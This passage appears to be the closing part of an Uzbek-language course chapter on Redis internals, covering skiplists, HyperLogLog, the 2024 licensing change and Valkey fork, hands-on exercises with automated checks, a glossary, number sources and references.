keyspace_hits / (hits + misses)) — u bazaga yukni belgilaydi va chiziqli emas: 95% dan 90% ga tushish bazaga yukni ikki barobar oshiradi used_memory/maxmemorynisbati — 85% dan oshsa, siqib chiqarish boshlanadievicted_keys— kesh bo‘lmagan ma’lumotda har qanday o‘sish jiddiy signal- p99 kechikish (
--latencyyoki mijoz tomonidan) — bloklovchi komandalar va fork aynan shu yerda ko‘rinadi mem_fragmentation_ratio— 1.0 dan past bo‘lsa swap (halokat), 1.5 dan yuqori bo‘lsa fragmentatsiya
Keyingi navbatda: latest_fork_usec, rejected_connections, blocked_clients,
replikatsiya kechikishi va SLOWLOG yozuvlari soni.
▸ZSET ichida nega skiplist? ZRANK qanday O(log N) bo'ladi?
ZSET ikki strukturadan iborat: lug‘at (a’zo → ball, ZSCORE uchun
O(1)) va skiplist (ball bo‘yicha tartib). Skiplist — ko‘p qavatli
bog‘langan ro‘yxat: har element tasodifiy darajaga ega (P = 0.25),
yuqori qavatlarda elementlar siyrak, qidiruv tepadan pastga tushadi —
o‘rtacha O(log N).
Rank uchun Redis har ko‘rsatkichga span qo‘shgan: u 0-qavatda
nechta elementni sakrab o‘tishini saqlaydi. Qidiruv yo‘lidagi span’lar
yig‘indisi — elementning o‘rni. Xuddi shu mantiq bilan ZRANGE 1000 1009
avval 1000-o‘ringa span bo‘yicha sakraydi, keyin 10 qadam yuradi.
Nega daraxt emas: diapazon so‘rovlari tabiiy (0-qavat — tayyor tartiblangan
ro‘yxat), kod sodda (aylantirish yo‘q), va P bilan xotira sozlanadi
(o‘rtacha 1.33 ko‘rsatkich).
▸HyperLogLog qanday ishlaydi va qachon xato beradi?
Har element xeshlanadi. Quyi 14 bit — 16 384 registrdan birini tanlaydi, qolgan bitlardagi oxirgi nollar soni + 1 — “rank”. Registr eng katta rankni eslaydi. Fikr: ketma-ket k ta nol taxminan har 2^k elementda bir uchraydi, demak eng katta rank to‘plam hajmini “eslab qoladi”. 16 384 registr bo‘yicha garmonik o‘rtacha tasodifiy chetlanishlarni tekislaydi. Hajm — 12 KB, standart xato — 0.81%.
Qachon yomon ishlaydi:
- Elementlarni qaytarib bermaydi va “falonchi bormi?” degan savolga javob bermaydi
- Kesishma (
A ∩ B) uchun mos emas: birlashma —PFMERGEbilan aniq, kesishma esa inkluziya-ekskluziya bilan va xatosi katta - Klassik formulada o‘tish oralig‘ida (taxminan 2.5·M atrofi) xato sezilarli oshadi — Redis 5.0 dan beri Ertl’ning baholovchisi buni yo‘qotadi
- Kimdir xeshni bilsa, ataylab tanlangan elementlar bilan hisobni sun’iy oshirishi mumkin — ochiq hisoblagichlarda buni hisobga olish kerak
▸Redis 2024 yilda litsenziyasini o'zgartirdi. Bu sizga qanday ta'sir qiladi?
2024-yil martida Redis ochiq (BSD) litsenziyadan cheklovli litsenziyalarga (RSALv2/SSPL) o‘tdi — asosan bulut provayderlariga Redis‘ni xizmat sifatida sotishni cheklash uchun. Javoban Linux Foundation ostida Valkey forki paydo bo‘ldi va ko‘p provayderlar hamda distributivlar o‘shanga o‘tdi. 2025-yilda Redis 8 da AGPLv3 — ochiq litsenziya varianti qaytdi.
Amaliy jihatdan: API, komandalar va protokol bir xil — bu darsdagi hamma narsa ikkalasiga ham tegishli. Farq huquqiy va yo‘l xaritasida.
Muhandis uchun xulosa: agar Redis‘ni o‘zingiz joylashtirsangiz va uni xizmat sifatida sotmasangiz, amaliy o‘zgarish deyarli yo‘q. Yangi loyihada esa mijoz kutubxonasi va boshqariladigan xizmat tanlashda qaysi implementatsiya ishlatilayotganini bilib qo‘yish foydali.
18. Amaliyot
To‘rt daraja. Ikkinchi daraja uchun kod va avtomatik tekshiruvlar
docs/amaliyot/redis/ da: skiplist.py, hll.py, keyspace.py — TODO;
model.py — tayyor skiplist tuguni, barqaror xesh va Zipf trafigi;
check.py — 15 ta tekshiruv.
1-daraja: xotira detektivi
Mahalliy Redis‘da o‘lchov o‘tkazing:
- 100 000 ta alohida kalit yozing (
user:1…user:100000), har birida 50 baytli qiymat.INFO memorybilanused_memoryni yozib oling FLUSHALLqiling va xuddi shu ma’lumotni 1000 ta hash ichida saqlang (har birida 100 maydon). Xotirani yana o‘lchangOBJECT ENCODINGbilan hash‘larning kodlashini tekshiringhash-max-listpack-entriesni 50 ga tushiring va 2-qadamni takrorlang
Tekshiruv mezoni: uchta o‘lchovni jadvalga chiqaring va nisbatlarni hisoblang. 2.4 va 2.5-bo‘limlardagi hisoblarga mos keldimi? Farq bo‘lsa, sababini tushuntiring.
2-daraja: skiplist, HyperLogLog va kalit maydoni (tayyor tekshiruvlar bilan)
Kod docs/amaliyot/redis/ da. Uchta faylni to‘ldirasiz, check.py esa
ularni 15 ta tekshiruvda sinaydi (~9 soniya, faqat Python standart
kutubxonasi):
skiplist.py— ZSET ichidagi skiplist:insert,delete,rank,by_rank,range_by_score; span’lar bilan, Redis’dagi kabi. UstidagiZSetqobig‘i tayyorhll.py— HyperLogLog:index_rank,add,count(garmonik o‘rtacha va linear counting),mergekeyspace.py— kalit maydoni: O(1) tasodifiy tanlash uchun massivlar, passiv va faol ekspirasiya (20 lik namuna, 25% qoidasi, CPU budjeti),noeviction/allkeys-*/volatile-*siyosatlari va namunali LRU
Tekshiruv mezoni: python check.py oxirida Jami: 15/15 OK. Keyin
7.3 dagi jadvalni o‘zingiz takrorlang: samples ni 1, 3, 5, 10 qilib,
urish darajasini haqiqiy LRU bilan solishtiring.
▸Chuqurroq: check.py qanday tekshiradi: natija emas, tuzilma
Skiplistni “natijasi to‘g‘ri” deb tekshirish yetarli emas: tartiblangan
Python ro‘yxati ham to‘g‘ri natija beradi. Shuning uchun check.py
tuzilmaning ichiga qaraydi:
- Sodda model bilan solishtirish: 40 ta tasodifiy ketma-ketlikda (har birida 300 amal: qo‘shish, o‘chirish, rank, diapazonlar, manfiy indekslar) natijalar aynan bir xil bo‘lishi kerak.
- Invariantlar: har 25 amalda har qavatdagi zanjir tartiblanganmi,
har ko‘rsatkichning span’i 0-qavatdagi haqiqiy masofaga tengmi, backward
va tail to‘g‘rimi,
leveleng baland tugunga tengmi. - Ehtimollik: 20 000 tugunda ≥2 qavatlilar ~25%, ≥3 qavatlilar ~6.25%.
- Murakkablik:
rankpaytida forward ko‘rsatkichlar necha marta o‘qilganini sanaydi — chiziqli yurish darhol ushlanadi.
HLL uchun registrlar bitta-bitta solishtiriladi. Kalit maydoni uchun
esa statistik testlar bor: eskirgan kalitlar ulushi, tinch sikldagi
tekshiruvlar soni va urish darajasi haqiqiy LRU bilan. Oxirida bir o‘yin
kuni uchala tuzilmani birga sinaydi: 180 000 ta ball yangilanishi
(reyting aniq javob bilan solishtiriladi), kunlik va haftalik noyob
o‘yinchilar (HLL ≤ 2%) va sessiyalar (volatile-lru, chegara 20 000).
3-daraja: haqiqiy Redis — rate limiter, lock va nosozliklar
Mahalliy Redis’da:
- Uch xil tezlik cheklovi: sobit oyna (
INCR+EXPIRE— avval ikki komanda, keyin Lua), siljituvchi oyna (ZSET), token bucket (Lua). 1000 ta parallel so‘rovda limit 100 bo‘lsa, haqiqatan nechta o‘tdi, qancha xotira va vaqt ketdi - Taqsimlangan lock (
SET NX PX+ Lua unlock) va uni buzing: qulfni olgach jarayonniSIGSTOPbilan to‘xtating, TTL tugashini kuting, ikkinchi jarayonga qulfni oldiring, birinchisini davom ettiring. Keyin fencing token qo‘shing - 2 GB ma’lumot bilan
maxmemoryva siyosatlarni sinang; og‘ir yozish ostidaBGSAVEqilib,used_memory_rssvalatest_fork_usecni o‘lchang; 10 mln elementli ZSET’niDELvaUNLINKbilan o‘chirib,--latencyni solishtiring
Tekshiruv mezoni: ikki jarayon bir vaqtda kritik bo‘limda bo‘lganini
logda ko‘rsating va fencing token ikkinchi yozuvni rad etganini isbotlang.
4.2 dagi fork cho‘qqisini va DEL / UNLINK farqini millisekundlarda
grafikda ko‘rsating.
4-daraja: sig'im va narx modeli
Skript yoki elektron jadval yozing. Kirish: kalitlar soni, o‘rtacha kalit va qiymat uzunligi, ma’lumot turi (string / kichik hash / ZSET), TTL bor-yo‘qligi, o‘qish va yozish tezligi, kesh urish darajasi, RAM va SSD narxlari.
Chiqish: kutilayotgan used_memory, fragmentatsiya va fork zaxirasi bilan kerakli tugun
hajmi, oylik narx, va Postgres‘da saqlash bilan taqqoslash.
Tekshiruv mezoni: modelni haqiqiy Redis‘da tekshiring — 100 000 kalit yozib,
MEMORY USAGE bilan o‘lchangan qiymatni model bashorati bilan solishtiring. Xato 15%
dan kam bo‘lsin. So‘ng sezgirlik tahlili: qaysi parametr narxga eng ko‘p ta’sir qiladi —
kalitlar soni, qiymat hajmi yoki ma’lumot turi?
19. Lug‘at
| Atama | Ma’nosi |
|---|---|
| Event loop | Bitta ipda hodisalarni navbat bilan qayta ishlash modeli |
| RESP | Redis serialization protocol — matnli mijoz-server protokoli |
| SDS | Simple Dynamic String — Redis‘ning satr strukturasi |
| robj | Redis obyekti: tur, kodlash va ma’lumotga ko‘rsatkich |
| Kodlash (encoding) | Bir turning ichki ko‘rinishi: listpack, intset, hashtable, skiplist |
| listpack | Kichik to‘plamlar uchun ixcham ketma-ket massiv |
| intset | Faqat butun sonlardan iborat to‘plam uchun ixcham ko‘rinish |
| skiplist | ZSet uchun ehtimolli tartiblangan struktura, O(log N) |
| quicklist | Listpack bloklaridan tuzilgan ro‘yxat |
| Pipelining | Bir necha komandani bitta paketda yuborish |
| MULTI/EXEC | Komandalarni uzilmasdan bajarish (rollback yo‘q) |
| WATCH | Optimistik qulf: kalit o‘zgarsa tranzaksiya bekor bo‘ladi |
| Lua skript | Server tomonida atomik bajariladigan kod |
| Passiv ekspirasiya | Murojaat paytida muddatni tekshirish |
| Faol ekspirasiya | serverCron da tasodifiy namuna bilan tozalash |
| Eviction | maxmemory ga yetilganda kalitlarni siqib chiqarish |
| Taxminiy LRU | Namuna asosidagi LRU — to‘liq ro‘yxatsiz |
| LFU | Chastota asosidagi siyosat, vaqt bilan “sovish” bilan |
| RDB | Ma’lumotning binar suratlari |
| AOF | Yozish komandalari jurnali |
appendfsync | AOF ning diskka yozish siyosati |
| fork / copy-on-write | Saqlash uchun jarayon nusxasi va xotira cho‘qqisi sababi |
| THP | Transparent Huge Pages — Redis uchun o‘chirilishi kerak |
| Fragmentatsiya nisbati | used_memory_rss / used_memory |
| repl-backlog | Qisman qayta sinxronizatsiya uchun halqasimon bufer |
| Sentinel | Nosozlikni aniqlash va avtomatik failover tizimi |
| Split-brain | Tarmoq bo‘linishida ikkita master paydo bo‘lishi |
min-replicas-to-write | Replikasiz qolgan master yozishni rad etadi |
| Slot | Klasterdagi 16384 ta mantiqiy bo‘lakdan biri |
| MOVED / ASK | Klasterdagi doimiy va vaqtinchalik yo‘naltirish |
| Hash teg | {...} bilan kalitlarni bitta slotga bog‘lash |
| Katta kalit (big key) | Serverni bloklaydigan darajada katta obyekt |
| Issiq kalit (hot key) | Nomutanosib ko‘p so‘raladigan kalit |
| HyperLogLog | Noyob elementlarni 12 KB da taxminiy sanash |
| Bitmap | Bitlar massivi — zich mantiqiy holatlar uchun |
| Streams | Iste’molchi guruhlari va tasdiqlash bilan hodisalar jurnali |
| Fencing token | Qulf bilan beriladigan o‘suvchi raqam — to‘g‘rilik kafolati |
| Span | Skiplist ko‘rsatkichi 0-qavatda nechta elementni sakrab o‘tishi — rank uchun |
| Rank (HLL) | Xeshning qolgan bitlaridagi oxirgi nollar soni + 1 |
| Garmonik o‘rtacha | Teskari qiymatlar o‘rtachasining teskarisi — katta chetlanishlarga chidamli |
| Linear counting | Bo‘sh registrlar ulushidan kichik to‘plam hajmini baholash |
PFMERGE | HLL larni registrlar bo‘yicha maksimum bilan birlashtirish |
maxmemory-samples | Namunali LRU/LFU dagi tasodifiy namunalar soni |
| CPU budjeti (faol ekspirasiya) | Bitta siklda ekspirasiyaga ajratilgan vaqt chegarasi |
| Valkey | 2024-yilda Linux Foundation ostida yaratilgan BSD litsenziyali Redis forki |
20. Raqamlar manbasi
| Raqam | Qiymat | Manba |
|---|---|---|
| Redis e’loni | 2009-yil 25-fevral, Hacker News; LLOOGG analitika xizmati uchun | Wikipedia; Valkey hujjatlari (History); redis.io blogi |
| Litsenziya | 2024-yil mart: RSALv2/SSPLv1; Valkey — Redis 7.2.4 asosida, BSD; 2025-yil may: Redis 8 da AGPLv3 varianti | redis.io/legal/licenses; texnik matbuot |
| HyperLogLog | 16 384 registr, 6 bit, 12 KB, standart xato 0.81% | antirez blogi (2014); Redis hujjatlari |
| HLL baholovchisi | Redis 5.0 (2018) — Ertl usuli | Ertl (2017); Redis 5 o‘zgarishlari |
| Skiplist | P = 0.25, ko‘pi bilan 32 qavat | Redis manba kodi (t_zset.c, server.h) |
| Faol ekspirasiya | 20 lik namuna, 25% chegara, hz 10 | Redis hujjatlari va manba kodi (expire.c) |
| Namunali LRU | maxmemory-samples 5, 24 bitlik vaqt belgisi | Redis hujjatlari (key eviction) |
| Kodlash chegaralari | hash/list/zset: 128 element / 64 bayt; intset: 512 | redis.conf standart qiymatlari |
| Klaster | 16 384 slot, CRC16 mod 16384 | Redis Cluster spetsifikatsiyasi |
| 2-daraja natijalari | 15/15; 28 mutatsiya; LRU(5) 71.0% vs haqiqiy 71.4% | docs/amaliyot/redis/, referens implementatsiya |
Kechikishlar (RTT ~200 µs, komanda ~1 µs), xotira ustamalari (har kalitga
~100 bayt), ops/s, fork cho‘qqisi, AOF hajmi, RAM va disk narxlari —
illyustratsiya uchun taxminiy raqamlar. Ular versiya, apparat va bulut
provayderiga qarab bir necha barobar farq qiladi. Aniq qiymatlarni o‘z
muhitingizda redis-benchmark, MEMORY USAGE va INFO bilan o‘lchang.
Asosiy xulosalar — tarmoq hukmronligi, bitta ipning narxi, maxmemory
zaxirasi, asinxron replikatsiyadagi yo‘qotish — bu farqlarga chidamli.
21. Manbalar
- Redis rasmiy hujjatlari: Data types, Memory optimization, Persistence, Key eviction, Cluster specification
- Salvatore Sanfilippo (antirez), blog: “Redis new data structure: the HyperLogLog” (2014) va boshqa yozuvlar — ko‘p qarorlarning asl sabablari
- Philippe Flajolet va boshq. (2007), “HyperLogLog: the analysis of a near-optimal cardinality estimation algorithm”, AofA
- Stefan Heule, Marc Nunkesser, Alexander Hall (2013), “HyperLogLog in Practice”, EDBT (Google)
- Otmar Ertl (2017), “New cardinality estimation algorithms for HyperLogLog sketches”, arXiv
- William Pugh (1990), “Skip Lists: A Probabilistic Alternative to Balanced Trees”, Communications of the ACM
- Martin Kleppmann (2016), “How to do distributed locking” — Redlock tanqidi va fencing token
- Redis: “Distributed Locks with Redis” — munozaraning ikkinchi tomoni
- Valkey hujjatlari: History — loyiha tarixi va fork
redis-cli --latency,--bigkeys,--memkeys,LATENCY DOCTOR— amaliy diagnostika vositalari